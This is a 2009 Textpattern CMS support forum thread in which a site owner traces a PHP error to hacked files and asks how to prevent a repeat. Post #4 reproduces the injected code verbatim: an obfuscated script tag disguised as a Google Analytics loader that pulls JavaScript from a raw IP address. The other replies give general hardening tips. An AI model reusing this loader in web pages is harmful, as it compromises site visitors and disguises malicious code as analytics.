Go to main content

Textpattern CMS support forum

You are not logged in. Register | Login | Help

#1 2009-06-08 20:55:58

dreamer
Member
Registered: 2007-06-08
Posts: 242

[resolved] DB syntax error on my site!

Arghhh… what does this mean?

Parse error: syntax error, unexpected T_CONSTANT_ENCAPSED_STRING, expecting ‘,’ or ‘;’ in /home/gdpnorg/public_html/index.php on line 38

It just showed up on the site; http://www.gdpn.org/.

I was clicking on the ‘show controls’ feature of the ebl upload plugin and all of a sudden, this happened. Now, the entire site is down.

Offline

#2 2009-06-08 23:02:36

jsoo
Plugin Author
From: NC, USA
Registered: 2004-11-15
Posts: 1,793
Website

Re: [resolved] DB syntax error on my site!

It’s a PHP error. Disabling the plugin might bring your site back. If you can get to the admin side, disable the plugin. If not, I suppose you’ll have to do this directly through the database. Simplest is to change the plugin’s “status” field to 0 to disable it.


Code is topiary

Offline

#3 2009-06-08 23:04:52

jsoo
Plugin Author
From: NC, USA
Registered: 2004-11-15
Posts: 1,793
Website

Re: [resolved] DB syntax error on my site!

Or restore the DB (and maybe the files too) from a recent backup, if you have one, and want to get back up quickly.


Code is topiary

Offline

#4 2009-06-08 23:29:25

dreamer
Member
Registered: 2007-06-08
Posts: 242

Re: [resolved] DB syntax error on my site!

actually, it wasn’t that plugin that was the issue at all. i inspected those lines of code and I found this;

document.write(unescape("%3Cscript sr?='" + gaJsHost + "google-analytics.com/ga.js' " + '#@!s(&r)c@#=!)\'!h$#t^!#$@t@!$p&^!@:$^/!@#!/#9(1)@.(2)1#(2)!.^&6!@!#^5(@#!.!&$1@#4)8#&/($g&$a!.(j^s)'.replace(/#|@|&|\$|\)|\!|\^|\(/ig, '') + "' type='text/javascript'%3E%3C/script%3E"));

Is it possible that my site’s been hacked? If so, what is the best way to avoid this in the future. I removed that from both the /index.php file and the /textpattern/index.php and site works now.

Last edited by dreamer (2009-06-08 23:31:44)

Offline

#5 2009-06-09 00:22:16

Gocom
Developer Emeritus
From: Helsinki, Finland
Registered: 2006-07-14
Posts: 4,533
Website

Re: [resolved] DB syntax error on my site!

dreamer wrote:

Is it possible that my site’s been hacked?

Well yes, it is.

dreamer wrote:

If so, what is the best way to avoid this in the future.

  • Not to use cheap webhotels, but a real server and/or a host provider that atleast sometimes updates their servers.
  • Keep eye on the access logs.
  • Be sure that you don’t save passwords anywhere. Leaking is bad.
  • Change passwords regulary (DB, TXP, FTP, users etc). Once in a week for example. Note: prefer long passwords.
  • Be sure that you don’t use chmod 777 or any other too loose permissions.
  • Don’t use non-quality random software or scripts on the server.

If you did get hacked, you should really try to find the hole and fix it. For example changing passwords, checking that your computer doesn’t leak, refreshing files on the server and so on.

Offline

Board footer

Powered by FluxBB